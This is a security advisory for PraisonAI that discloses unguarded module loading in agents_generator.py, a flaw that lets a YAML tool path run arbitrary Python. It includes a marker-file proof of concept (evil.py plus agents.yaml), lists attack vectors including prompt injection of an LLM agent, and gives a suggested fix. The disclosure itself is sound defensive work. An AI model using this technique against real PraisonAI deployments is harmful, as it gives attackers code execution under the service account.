GHSA-78r8-wwqv-r299 PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
CVE | GHSA | Fixed in | What was patched
-- | -- | -- | --
CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py
This finding | — | unfixed | Missed sinks in agents_generator.py336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)
</code></pre>WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT1. Malicious modulecat &gt; "$WORKDIR/evil.py" &lt;&lt; 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF2. agents.yaml that references itcat &gt; "$WORKDIR/agents.yaml" &lt;&lt; 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF3. Runcd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"4. VerifyMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2&gt;/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi
</code></pre>def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...
</code></pre>TL;DRThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.Patch lineage| CVE | GHSA | Fixed in | What was patched |
| --- | --- | --- | --- |
| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |
| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |
| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |
| **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` |Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.Vulnerable codeNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:**Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156.**Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).**Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.Attack chain (recipe vector)No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.PoCImpactArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.Severity**High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)CWECWE-94: Improper Control of Generation of Code ('Code Injection')CWE-426: Untrusted Search PathCWE-829: Inclusion of Functionality from Untrusted Control SphereAffected versionsAll versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD).Suggested fixApply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.CreditKai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)
CVSS v3.1 score: 8.1